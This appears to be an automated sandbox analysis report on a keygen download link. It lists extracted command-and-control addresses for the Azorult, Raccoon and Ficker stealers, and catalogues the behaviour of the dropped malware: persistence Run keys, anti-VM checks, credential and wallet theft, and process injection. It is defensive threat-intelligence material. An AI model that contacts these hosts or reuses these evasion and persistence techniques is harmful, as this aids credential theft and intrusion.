Resubmissions
22-04-2021 16:45
210422-k9xv9nxcbx 1021-04-2021 17:01
210421-pl1rqeqs7n 1021-04-2021 12:53
210421-gkr26l4mvs 1020-04-2021 19:55
210420-nex8ep6zhj 1020-04-2021 15:03
210420-v63pp18knj 10Analysis
-
max time kernel
533s -
max time network
1796s -
platform
windows10_x64 -
resource
win10v20210410 -
submitted
21-04-2021 12:53
Static task
static1
URLScan task
urlscan1
Sample
https://keygenit.com/d/8550ceeb125094q2480.html
Behavioral task
behavioral1
Sample
https://keygenit.com/d/8550ceeb125094q2480.html
Resource
win10v20210408
Behavioral task
behavioral2
Sample
https://keygenit.com/d/8550ceeb125094q2480.html
Resource
win7v20210408
Behavioral task
behavioral3
Sample
https://keygenit.com/d/8550ceeb125094q2480.html
Resource
win10v20210410
Behavioral task
behavioral4
Sample
https://keygenit.com/d/8550ceeb125094q2480.html
Resource
win10v20210410
Behavioral task
behavioral5
Sample
https://keygenit.com/d/8550ceeb125094q2480.html
Resource
win10v20210408
General
-
Target
https://keygenit.com/d/8550ceeb125094q2480.html
-
Sample
210421-gkr26l4mvs
Malware Config
Extracted
azorult
http://kvaka.li/1210776429.php
Extracted
raccoon
562d987fd49ccf22372ac71a85515b4d288facd7
-
url4cnc
https://telete.in/j90dadarobin
Extracted
fickerstealer
sodaandcoke.top:80
Signatures
-
Azorult
An information stealer that was first discovered in 2016, targeting browsing history and passwords.
-
DcRat
DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.
-
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs
Processes:
svchost.exedescription pid process target process PID 5716 created 3844 5716 svchost.exe app.exe PID 5716 created 4812 5716 svchost.exe WerFault.exe -
fickerstealer
Ficker is an infostealer written in Rust and ASM.
-
Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
-
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
-
Blocklisted process makes network request 1 IoCs
Processes:
msiexec.exeflow pid process 226 6056 msiexec.exe -
Downloads MZ/PE file
-
Drops file in Drivers directory 2 IoCs
Processes:
Ultra.exeWerFault.exedescription ioc process File opened for modification C:\Windows\system32\drivers\etc\hosts Ultra.exe File opened for modification C:\Windows\system32\drivers\etc\hosts WerFault.exe -
Executes dropped EXE 64 IoCs
Processes:
keygen-pr.exekeygen-step-1.exekeygen-step-2.exekeygen-step-3.exekeygen-step-4.exekey.exeFree.exekey.exeJoSetp.exeD3C1.tmp.exe6971102.exe6446512.exeaskinstall20.exeWindows Host.exeInstall.exeInstall.tmpUltra.exeultramediaburner.exeultramediaburner.tmpGotuzhaxashe.exeHuqerijyga.exeUltraMediaBurner.exefilee.exeConhost.exe2ADA.tmp.exe28C6.tmp.exegoogle-game.exeConhost.exemd1_1eaf.exeConhost.exeaskinstall36.exeEB8F.exey1.exekabo.exeConhost.exemain.exeABCbrowser.exetoolspab1.exetoolspab1.exeinst.exenPgkkMSunLabsPlayer.exeapp.exeDvYvWVF2F2.exesvchost.exeIrecCH6.exeIrecCH6.tmp1619009948068.exeWerFault.exeirecord.exeirecord.tmpLaezhitewaeqa.exeVerubiwiwo.exei-record.exeparse.exeparse.exeparse.exegcttt.exejfiag3g_gg.exeWerFault.exegoogle-game.exemd1_1eaf.exebuild.exepid process 5908 keygen-pr.exe 5928 keygen-step-1.exe 5960 keygen-step-2.exe 5996 keygen-step-3.exe 6072 keygen-step-4.exe 4012 key.exe 4552 Free.exe 4764 key.exe 4756 JoSetp.exe 5560 D3C1.tmp.exe 5544 6971102.exe 4704 6446512.exe 5440 askinstall20.exe 5500 Windows Host.exe 5360 Install.exe 5488 Install.tmp 2644 Ultra.exe 3516 ultramediaburner.exe 2100 ultramediaburner.tmp 412 Gotuzhaxashe.exe 4180 Huqerijyga.exe 1172 UltraMediaBurner.exe 1772 filee.exe 5992 Conhost.exe 5724 2ADA.tmp.exe 6108 28C6.tmp.exe 5976 google-game.exe 6676 Conhost.exe 6544 md1_1eaf.exe 6568 Conhost.exe 6808 askinstall36.exe 4492 EB8F.exe 4220 y1.exe 6300 kabo.exe 6464 Conhost.exe 6068 main.exe 6264 ABCbrowser.exe 4540 toolspab1.exe 5900 toolspab1.exe 6976 inst.exe 6532 nPgkkM 4908 SunLabsPlayer.exe 3844 app.exe 6904 DvYvWV 4108 F2F2.exe 6652 svchost.exe 728 IrecCH6.exe 4944 IrecCH6.tmp 2628 1619009948068.exe 5852 WerFault.exe 5232 irecord.exe 4252 irecord.tmp 6756 Laezhitewaeqa.exe 5188 Verubiwiwo.exe 5252 i-record.exe 5460 parse.exe 6224 parse.exe 4772 parse.exe 620 gcttt.exe 4456 jfiag3g_gg.exe 2108 WerFault.exe 4384 google-game.exe 4732 md1_1eaf.exe 5164 build.exe -
Sets service image path in registry 2 TTPs
-
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
Processes:
27C2.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion 27C2.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion 27C2.exe -
Checks computer location settings 2 TTPs 4 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
Gotuzhaxashe.exekeygen-step-4.exeA556.exeLaezhitewaeqa.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Control Panel\International\Geo\Nation Gotuzhaxashe.exe Key value queried \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Control Panel\International\Geo\Nation keygen-step-4.exe Key value queried \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Control Panel\International\Geo\Nation A556.exe Key value queried \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Control Panel\International\Geo\Nation Laezhitewaeqa.exe -
Loads dropped DLL 54 IoCs
Processes:
rundll32.exeD3C1.tmp.exeInstall.tmprundll32.exeConhost.exey1.exemain.exetoolspab1.exeSunLabsPlayer.exesvchost.exeIrecCH6.tmpi-record.exerundll32.exebuild.exemain.exetoolspab1.exeSunLabsPlayer.exehfvshhjpid process 4840 rundll32.exe 5560 D3C1.tmp.exe 5560 D3C1.tmp.exe 5560 D3C1.tmp.exe 5560 D3C1.tmp.exe 5560 D3C1.tmp.exe 5488 Install.tmp 4604 rundll32.exe 6568 Conhost.exe 6568 Conhost.exe 4220 y1.exe 6068 main.exe 4220 y1.exe 4220 y1.exe 4220 y1.exe 4220 y1.exe 5900 toolspab1.exe 4908 SunLabsPlayer.exe 6652 svchost.exe 4908 SunLabsPlayer.exe 4944 IrecCH6.tmp 4908 SunLabsPlayer.exe 4908 SunLabsPlayer.exe 5252 i-record.exe 5252 i-record.exe 5252 i-record.exe 5252 i-record.exe 5252 i-record.exe 5252 i-record.exe 5252 i-record.exe 5252 i-record.exe 5252 i-record.exe 4908 SunLabsPlayer.exe 7120 rundll32.exe 4908 SunLabsPlayer.exe 4908 SunLabsPlayer.exe 4908 SunLabsPlayer.exe 4908 SunLabsPlayer.exe 5164 build.exe 5164 build.exe 4908 SunLabsPlayer.exe 5888 main.exe 7004 toolspab1.exe 5628 SunLabsPlayer.exe 5628 SunLabsPlayer.exe 5628 SunLabsPlayer.exe 5628 SunLabsPlayer.exe 5628 SunLabsPlayer.exe 5628 SunLabsPlayer.exe 5628 SunLabsPlayer.exe 5628 SunLabsPlayer.exe 5628 SunLabsPlayer.exe 5628 SunLabsPlayer.exe 7160 hfvshhj -
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
-
Reads local data of messenger clients 2 TTPs
Infostealers often target stored data of messaging applications, which can include saved credentials and account information.
-
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Adds Run key to start application 2 TTPs 6 IoCs
Processes:
6446512.exeUltra.exe2ADA.tmp.exeWerFault.exegcttt.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Windows\CurrentVersion\Run\Windows Host = "C:\\ProgramData\\Windows Host\\Windows Host.exe" 6446512.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\system recover = "\"C:\\Program Files (x86)\\Reference Assemblies\\Laegushaelywu.exe\"" Ultra.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 2ADA.tmp.exe Set value (str) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Windows\CurrentVersion\Run\waupdat3 = "C:\\Users\\Admin\\AppData\\Roaming\\waupdat3.exe" 2ADA.tmp.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\system recover = "\"C:\\Program Files (x86)\\Windows Multimedia Platform\\SHuvirubugy.exe\"" WerFault.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\haleng = "C:\\Users\\Admin\\AppData\\Local\\Temp\\haleng.exe" gcttt.exe -
Checks for any installed AV software in registry 1 TTPs 2 IoCs
Processes:
Conhost.exepowershell.exedescription ioc process Key opened \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\SOFTWARE\KasperskyLab Conhost.exe Key opened \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\SOFTWARE\KasperskyLab powershell.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Processes:
27C2.exemd1_1eaf.exetoolspab1.exemd1_1eaf.exedescription ioc process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA 27C2.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA md1_1eaf.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA toolspab1.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA md1_1eaf.exe -
Drops Chrome extension 1 IoCs
Processes:
askinstall20.exedescription ioc process File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\colgdlijdieibnaccfdcdbpdffofkfeb\6.37.18_0\manifest.json askinstall20.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 4 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 187 api.ipify.org 315 api.myip.com 316 api.myip.com 334 ip-api.com -
Drops file in System32 directory 5 IoCs
Processes:
svchost.exesvchost.exedescription ioc process File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\counters2.dat svchost.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies\TO99CULB.cookie svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies\TO99CULB.cookie svchost.exe File opened for modification C:\Windows\System32\Tasks\Firefox Default Browser Agent EB55E9DD3205DD15 svchost.exe File opened for modification C:\Windows\System32\Tasks\Firefox Default Browser Agent 901661254DBBCC10 svchost.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 16 IoCs
Processes:
main.exeparse.exeparse.exeparse.exemain.exe27C2.exepid process 6068 main.exe 6068 main.exe 6068 main.exe 6068 main.exe 6068 main.exe 6068 main.exe 6068 main.exe 4772 parse.exe 5460 parse.exe 6224 parse.exe 4772 parse.exe 5460 parse.exe 6224 parse.exe 5888 main.exe 5888 main.exe 7372 27C2.exe -
Suspicious use of SetThreadContext 23 IoCs
Processes:
key.exesvchost.exeConhost.exe2ADA.tmp.exetoolspab1.exeinst.exekabo.exeABCbrowser.exeinst.exeWerFault.exeSXhaivABCbrowser.exe647349126.exe1371397063.exe331.exeB7F.exeF2F2.exe435D.exe5282.exehfvshhj3716.exedescription pid process target process PID 4012 set thread context of 4764 4012 key.exe key.exe PID 1688 set thread context of 4920 1688 svchost.exe svchost.exe PID 1688 set thread context of 4780 1688 svchost.exe svchost.exe PID 5992 set thread context of 6108 5992 Conhost.exe 28C6.tmp.exe PID 5724 set thread context of 6104 5724 2ADA.tmp.exe msiexec.exe PID 5724 set thread context of 6056 5724 2ADA.tmp.exe msiexec.exe PID 4540 set thread context of 5900 4540 toolspab1.exe toolspab1.exe PID 6976 set thread context of 6532 6976 inst.exe nPgkkM PID 6300 set thread context of 6652 6300 kabo.exe svchost.exe PID 6264 set thread context of 6728 6264 ABCbrowser.exe AddInProcess32.exe PID 4676 set thread context of 2332 4676 inst.exe SXhaiv PID 6012 set thread context of 7004 6012 WerFault.exe toolspab1.exe PID 2332 set thread context of 428 2332 SXhaiv OcAnMQ PID 2200 set thread context of 4952 2200 ABCbrowser.exe AddInProcess32.exe PID 7072 set thread context of 5876 7072 647349126.exe AddInProcess32.exe PID 960 set thread context of 6884 960 1371397063.exe AddInProcess32.exe PID 1040 set thread context of 7380 1040 331.exe AddInProcess32.exe PID 7424 set thread context of 7824 7424 B7F.exe AddInProcess32.exe PID 4108 set thread context of 5076 4108 F2F2.exe F2F2.exe PID 7396 set thread context of 5536 7396 435D.exe AddInProcess32.exe PID 6640 set thread context of 5856 6640 5282.exe 5282.exe PID 7024 set thread context of 7160 7024 hfvshhj hfvshhj PID 7900 set thread context of 2028 7900 3716.exe 3716.exe -
Drops file in Program Files directory 64 IoCs
Processes:
SunLabsPlayer.exeSunLabsPlayer.exeWerFault.exeirecord.tmpultramediaburner.tmpdescription ioc process File created C:\Program Files (x86)\lighteningplayer\plugins\control\liboldrc_plugin.dll SunLabsPlayer.exe File opened for modification C:\Program Files (x86)\lighteningplayer\plugins\control\libwin_msg_plugin.dll SunLabsPlayer.exe File created C:\Program Files\Reference Assemblies\PGSGJXJUNP\irecord.exe.config WerFault.exe File opened for modification C:\Program Files (x86)\lighteningplayer\plugins\demux\libreal_plugin.dll SunLabsPlayer.exe File opened for modification C:\Program Files (x86)\lighteningplayer\plugins\misc\libgnutls_plugin.dll SunLabsPlayer.exe File opened for modification C:\Program Files (x86)\lighteningplayer\plugins\packetizer\libpacketizer_a52_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\access\libvdr_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\demux\libtta_plugin.dll SunLabsPlayer.exe File opened for modification C:\Program Files (x86)\lighteningplayer\lua\modules\simplexml.luac SunLabsPlayer.exe File opened for modification C:\Program Files (x86)\lighteningplayer\plugins\demux\libnsc_plugin.dll SunLabsPlayer.exe File opened for modification C:\Program Files (x86)\lighteningplayer\plugins\gui\libqt_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\logger\libconsole_logger_plugin.dll SunLabsPlayer.exe File opened for modification C:\Program Files (x86)\lighteningplayer\lua\http\css\ui-lightness\images\ui-bg_diagonals-thick_18_b81900_40x40.png SunLabsPlayer.exe File opened for modification C:\Program Files (x86)\lighteningplayer\lua\meta\art\03_lastfm.luac SunLabsPlayer.exe File opened for modification C:\Program Files (x86)\lighteningplayer\plugins\access\libidummy_plugin.dll SunLabsPlayer.exe File opened for modification C:\Program Files (x86)\lighteningplayer\plugins\control\libdummy_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\lighteningplayer-cache-gen.exe SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\packetizer\libpacketizer_copy_plugin.dll SunLabsPlayer.exe File opened for modification C:\Program Files (x86)\lighteningplayer\lua\meta\art\02_frenchtv.luac SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\packetizer\libpacketizer_hevc_plugin.dll SunLabsPlayer.exe File opened for modification C:\Program Files (x86)\lighteningplayer\plugins\access\libftp_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\images\Folder-48.png SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\meta\art\00_musicbrainz.luac SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\access\libsmb_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\demux\libcaf_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\demux\libsubtitle_plugin.dll SunLabsPlayer.exe File opened for modification C:\Program Files (x86)\lighteningplayer\lua\http\requests\playlist.json SunLabsPlayer.exe File opened for modification C:\Program Files (x86)\lighteningplayer\lua\playlist\twitch.luac SunLabsPlayer.exe File opened for modification C:\Program Files (x86)\lighteningplayer\plugins\access\libshm_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\requests\vlm_cmd.xml SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\access\libaccess_concat_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\control\libdummy_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\d3d11\libdirect3d11_filters_plugin.dll SunLabsPlayer.exe File opened for modification C:\Program Files (x86)\recording\AForge.Video.FFMPEG.dll irecord.tmp File opened for modification C:\Program Files (x86)\lighteningplayer\plugins\spu\librss_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\UltraMediaBurner\unins000.dat ultramediaburner.tmp File created C:\Program Files (x86)\lighteningplayer\plugins\access\librtp_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\demux\libmod_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\recording\is-6I6DL.tmp irecord.tmp File opened for modification C:\Program Files (x86)\lighteningplayer\plugins\demux\libau_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\dialogs\mosaic_window.html SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\access\libscreen_plugin.dll SunLabsPlayer.exe File opened for modification C:\Program Files (x86)\lighteningplayer\plugins\misc\libaddonsvorepository_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\intf\telnet.luac SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\video_splitter\libpanoramix_plugin.dll SunLabsPlayer.exe File opened for modification C:\Program Files (x86)\lighteningplayer\lua\meta\art\01_googleimage.luac SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\dialogs\equalizer_window.html SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\meta\art\03_lastfm.luac SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\playlist\rockbox_fm_presets.luac SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\demux\libty_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\text_renderer\libfreetype_plugin.dll SunLabsPlayer.exe File opened for modification C:\Program Files (x86)\lighteningplayer\plugins\demux\libdiracsys_plugin.dll SunLabsPlayer.exe File opened for modification C:\Program Files (x86)\lighteningplayer\plugins\demux\libvoc_plugin.dll SunLabsPlayer.exe File opened for modification C:\Program Files (x86)\lighteningplayer\plugins\spu\libsubsdelay_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\access\libimem_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\control\libhotkeys_plugin.dll SunLabsPlayer.exe File opened for modification C:\Program Files (x86)\lighteningplayer\lua\http\view.html SunLabsPlayer.exe File opened for modification C:\Program Files (x86)\lighteningplayer\lua\http\dialogs\batch_window.html SunLabsPlayer.exe File opened for modification C:\Program Files (x86)\lighteningplayer\lua\playlist\appletrailers.luac SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\access\libattachment_plugin.dll SunLabsPlayer.exe File opened for modification C:\Program Files (x86)\lighteningplayer\lua\intf\dummy.luac SunLabsPlayer.exe File opened for modification C:\Program Files (x86)\lighteningplayer\lua\playlist\liveleak.luac SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\css\ui-lightness\images\ui-bg_highlight-soft_75_ffe45c_1x100.png SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\intf\modules\httprequests.luac SunLabsPlayer.exe -
Drops file in Windows directory 2 IoCs
Processes:
MicrosoftEdge.exeMicrosoftEdge.exedescription ioc process File opened for modification C:\Windows\Debug\ESE.TXT MicrosoftEdge.exe File opened for modification C:\Windows\Debug\ESE.TXT MicrosoftEdge.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 64 IoCs
Processes:
WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exepid pid_target process target process 6932 3844 WerFault.exe app.exe 4520 3844 WerFault.exe app.exe 4784 3844 WerFault.exe app.exe 2624 3844 WerFault.exe app.exe 2120 3844 WerFault.exe app.exe 5052 3844 WerFault.exe app.exe 1816 3844 WerFault.exe app.exe 7120 3844 WerFault.exe app.exe 4256 3844 WerFault.exe app.exe 5092 3844 WerFault.exe app.exe 4956 3844 WerFault.exe app.exe 4244 3844 WerFault.exe app.exe 5640 3844 WerFault.exe app.exe 4432 3844 WerFault.exe app.exe 1532 3844 WerFault.exe app.exe 2108 3844 WerFault.exe app.exe 5124 3844 WerFault.exe app.exe 6436 3844 WerFault.exe app.exe 4396 4812 WerFault.exe app.exe 2140 4812 WerFault.exe app.exe 2692 4812 WerFault.exe app.exe 6572 4812 WerFault.exe app.exe 960 4812 WerFault.exe app.exe 2208 4812 WerFault.exe app.exe 6200 4812 WerFault.exe app.exe 6012 4812 WerFault.exe app.exe 6760 3844 WerFault.exe app.exe 5848 3844 WerFault.exe app.exe 5788 3844 WerFault.exe app.exe 7140 4812 WerFault.exe app.exe 6772 4812 WerFault.exe app.exe 6428 7080 WerFault.exe app.exe 6296 7080 WerFault.exe app.exe 1520 7080 WerFault.exe app.exe 2632 7080 WerFault.exe app.exe 6640 7080 WerFault.exe app.exe 5852 7080 WerFault.exe app.exe 7256 7080 WerFault.exe app.exe 7368 7080 WerFault.exe app.exe 6196 4812 WerFault.exe app.exe 7972 7516 WerFault.exe app.exe 7720 7516 WerFault.exe app.exe 7816 7516 WerFault.exe app.exe 7276 7516 WerFault.exe app.exe 8116 7516 WerFault.exe app.exe 4812 7516 WerFault.exe app.exe 7532 7516 WerFault.exe app.exe 6804 7516 WerFault.exe app.exe 7956 7080 WerFault.exe app.exe 8148 7080 WerFault.exe app.exe 1216 7516 WerFault.exe app.exe 5536 7516 WerFault.exe app.exe 4392 7080 WerFault.exe app.exe 3120 7080 WerFault.exe app.exe 7656 7516 WerFault.exe app.exe 6396 7516 WerFault.exe app.exe 8072 7080 WerFault.exe app.exe 6908 7080 WerFault.exe app.exe 1756 7080 WerFault.exe app.exe 8060 7080 WerFault.exe app.exe 6064 7516 WerFault.exe app.exe 8112 7516 WerFault.exe app.exe 1536 7516 WerFault.exe app.exe 5560 7496 WerFault.exe MicrosoftEdgeCP.exe -
Checks SCSI registry key(s) 3 TTPs 12 IoCs
SCSI information is often read in order to detect sandboxing environments.
Processes:
toolspab1.exesvchost.exetoolspab1.exehfvshhjdescription ioc process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI toolspab1.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI toolspab1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI svchost.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI svchost.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI toolspab1.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI hfvshhj Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI toolspab1.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI toolspab1.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI toolspab1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI hfvshhj Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI hfvshhj -
Checks processor information in registry 2 TTPs 10 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
build.exesvchost.exe28C6.tmp.exeConhost.exesvchost.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString build.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz svchost.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 28C6.tmp.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString 28C6.tmp.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 Conhost.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString Conhost.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 svchost.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz svchost.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 svchost.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 build.exe -
Delays execution with timeout.exe 4 IoCs
Processes:
timeout.exetimeout.exetimeout.exetimeout.exepid process 5888 timeout.exe 5528 timeout.exe 3900 timeout.exe 7192 timeout.exe -
Download via BitsAdmin 1 TTPs 2 IoCs
-
Enumerates system info in registry 2 TTPs 12 IoCs
Processes:
chrome.exechrome.exeConhost.exechrome.exexcopy.exexcopy.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer chrome.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier Conhost.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName chrome.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier xcopy.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier xcopy.exe -
Kills process with taskkill 6 IoCs
Processes:
taskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exepid process 5952 taskkill.exe 6908 taskkill.exe 6644 taskkill.exe 5324 taskkill.exe 5740 taskkill.exe 7208 taskkill.exe -
Processes:
browser_broker.exeMicrosoftEdgeCP.exebrowser_broker.exeMicrosoftEdge.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Internet Explorer\Main browser_broker.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Internet Explorer\Main MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Internet Explorer\Main browser_broker.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Internet Explorer\Main MicrosoftEdge.exe -
Modifies data under HKEY_USERS 64 IoCs
Processes:
